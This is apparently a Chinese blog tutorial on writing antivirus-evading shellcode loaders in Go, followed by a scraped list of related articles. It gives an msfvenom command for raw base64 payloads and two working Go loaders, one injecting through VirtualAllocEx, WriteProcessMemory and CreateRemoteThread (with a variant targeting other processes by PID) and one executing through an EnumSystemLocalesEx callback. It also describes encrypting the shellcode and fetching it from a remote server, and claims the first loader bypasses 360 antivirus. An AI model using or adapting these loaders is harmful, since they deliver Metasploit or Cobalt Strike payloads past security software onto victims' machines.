浅析golang shellcode加载器
最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路。
杀软的查杀方式
静态查杀:查杀的方式是结合特征码,对文件的特征段如Hash、文件名、函数名、敏感字符串等进行匹配。
动态查杀:主要针对于软件运行后的行为进行查杀,杀软可能会监控内存、注册表、敏感程序以及各种API等。如果程序在运行之后进行了危险操作比如说修改了注册表,那就会杀软查杀。
当然还有云查杀、沙箱这些技术。这里主要还是总结了对于CS、MSF生成的shellcode使用加载器进行进程注入来免杀的操作。
对于一个msf、CS生成的exe可执行文件,其特征已经被杀软拿捏得死死。而shellcode加载器免杀的原理就是在不修改shellcode代码的基础上,通过将shellcode和程序分离来进行绕过。一方面对分离出来的shellcode进行诸如异或、AES等加密方式绕过杀软的特征码查杀;另一方面作为加载器的程序在没有shellcode的情况下是不存在病毒行为的。
对于shellcode的处理
通常情况,我会选择生成RAW以原始二进制生成payload,并对生成的二进制数据进行Base64编码处理。然后可以对得到的Base64字符串进行各种类型的加密处理。其中Linux的base64可以很好的完成对二进制数据的base64编码处理,并且可以很方便的删除payload中的换行符号。
msfvenom -p [payload] -f raw | base64 | tr -d "\n"
这里推荐一个go语言封装的各种加密项目。方便对shellcode的各种加密处理。
https://github.com/wumansgy/goEncrypt
对于shellcode,你也可以把以txt格式保存在公网vps上,亦或者是隐写的图片当中,加载器通过http请求远程加载shellcode。
对于加载器
一个简单的shellcode加载器应该有以下几个部分:读取并处理shellcode、调用win api为shellcode分配内存、将shellcode写入内存,最后执行内存中的shellcode。
这里常用的api有VirtualAlloc、VirtualProtect、CreateRemoteThread等,当然了这里需要借助windows的文档来详细了解这些api的用法。
func loader2(sc []byte) {
// 获取当前进程的句柄
pHandle, _ := syscall.GetCurrentProcess()
Protect := windows.PAGE_EXECUTE_READWRITE
// 为shellcode分配足够大小的内存
addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
// 将shellcode写入内存当中
WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
//修改进程的保护属性为可读写可执行
VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))
//创建线程执行shellcode
x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
for{
}
}
上面就是一个简单的shellcode加载器的例子。将shellcode注入到当前进程当中,因此在代码的最后,需要用一个死循环来使得我们整个程序一直处在一个运行的状态当中。(本地虚拟机测试,可以绕过360)
当然,这里你选择注入的进程也可以是其他的程序,那么这里需要做的改变仅仅是修改获取进程句柄的方式。使用下面的方法,将根据pid来获取进程的句柄,就可以向你需要的进程中注入shellcode。
pHandle,_ := windows.OpenProcess(0x1F0FFF,false,pid)
在上面加载器的例子当中,我们用到了一些winapi 如 VirtualAlloc、CreateRemoteThread这些api其实都在各大杀软的重点监控当中。那么为了应对这种监控,一种好的办法就是不使用这些敏感的api。windows的一些api提供的回调函数,它的参数是指针类型的话是可以直接调用内存当中的shellcode的,就是变相的达到了不适用敏感api来执行shellcode的方法。
下面这个github开源项目提供了很多这种包含有回调函数可以执行shellcode的方法。
https://github.com/aahmad097/AlternativeShellcodeExec
下面这个例子就是使用了EnumSystemLocalesEx这个api 来实现回调执行shellcode。
func EnumSystemLocalesEx1(data []byte) {
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
EnumSystemLocalesEx.Call(addr, 0,0,0)
}
免杀涉及到的内容还是非常广泛的,做好免杀还是需要继续深入学习多方面的知识。
浅析golang shellcode加载器的更多相关文章
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 理解go语言的shellcode加载器
序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html 第13章. 例子和代码 ...
- 恶意软件开发——编写第一个Loader加载器
一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...
- js模块化加载器实现
背景 自es6以前,JavaScript是天生模块化缺失的,即缺少类似后端语言的class, 作用域也只以函数作为区分.这与早期js的语言定位有关, 作为一个只需要在网页中嵌入几十上百行代码来实现一些 ...
- golang动态加载原生代码思路
golang动态加载原生代码思路(非plugin,非so文件.使用mmap形式运行机器码,可释放) 1.用go tool objdump,可以看到任意函数的机器码.汇编指令.偏移.(go源码下面有一个 ...
- 实现一个类 RequireJS 的模块加载器 (二)
2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...
- 使用RequireJS并实现一个自己的模块加载器 (一)
RequireJS & SeaJS 在 模块化开发 开发以前,都是直接在页面上引入 script 标签来引用脚本的,当项目变得比较复杂,就会带来很多问题. JS项目中的依赖只有通过引入JS的顺 ...
- AngularJs2与AMD加载器(dojo requirejs)集成
现在是西太平洋时间凌晨,这个问题我鼓捣了一天,都没时间学英语了,英语太差,相信第二天我也看不懂了,直接看结果就行. 核心原理就是require在AngularJs2编译过程中是关键字,而在浏览器里面运 ...
- js前端模块化之加载器原理解析(一)
先来说一下前端模块化的价值:引用模块此处有详细的介绍,可以自行前往观看. 一.总结如下优点: (1)解决命名冲突(2)烦琐的文件依赖(3)模块的版本管理(4)提高可维护性(5)前端性能优化(6)跨环境 ...
随机推荐
- fedora访问win10共享
sudo mount -t cifs -o username=user,password=123 //192.168.31.20/aa /home/liao/win
- 尾递归与 memorize 优化
尾递归与 memorize 优化 本文写于 2020 年 12 月 10 日 递归 递归是一种非常常见的算法思维,在大家刚开始学编程的时候应该就会接触到. 我们可以这么理解递归: function 讲 ...
- SpringBoot进阶教程(七十四)整合ELK
在上一篇文章<SpringBoot进阶教程(七十三)整合elasticsearch >,已经详细介绍了关于elasticsearch的安装与使用,现在主要来看看关于ELK的定义.安装及使用 ...
- 「ARC138E」Decreasing Subsequence(n logn 做法)
考虑一张 \(n\) 个点的图(\(V=\{0,1,\cdots,n\}\)):点 \(i\) 连向 \(a_i-1\),即 \(\text{index}\) 连向 \(\text{value}\). ...
- DOM树
一.DOM树一共有12种节点类型,常用的有4种: 1.Document类型(document节点)--DOM的"入口点" 2.Element节点(元素节点)--HTML标签,树构建 ...
- 【原创】项目三Raven-2
实战流程 1,C段扫描,并发现目标ip是192.168.186.141 nmap -sP 192.168.186.0/24 扫描目标主机全端口 nmap -p- 192.168.186.141 访问8 ...
- 在项目中如何直接使用hystrix?
一.背景 最近由于一些背景原因,需要在项目中需要对接口进行限流.所以就考虑到了直接使用Hystrix.但是呢,又不想直接使用SpringCloud,而是直接引入原生,现在发现挺好用的,所以记录下来,分 ...
- 【Azure 应用服务】NodeJS Express + MSAL 应用实现AAD登录并获取AccessToken -- cca.acquireTokenByCode(tokenRequest)
问题描述 在上一篇博文 "[Azure 应用服务]NodeJS Express + MSAL 应用实现AAD集成登录并部署在App Service Linux环境中的实现步骤"中, ...
- DYOJ 【20220303模拟赛】最少分组 题解
最少分组 题意 \(n\) 个点 \(m\) 条边的无向图,可以删掉 0 条或多条边,求满足条件的最小连通块数量: 对每个顶点对 \((a,b)\) ,若 \(a\) 和 \(b\) 同属于一个连通块 ...
- 覆盖率检查工具:JaCoCo 食用指南
一:概述 众所周知,软件的代码覆盖率是衡量软件质量的重要指标, 我们今天简单介绍 JaCoCo 的实际使用示例,它是目前在大多数 Java 项目中应用最广泛的覆盖率检测框架 更多资料参考:JaCoCo ...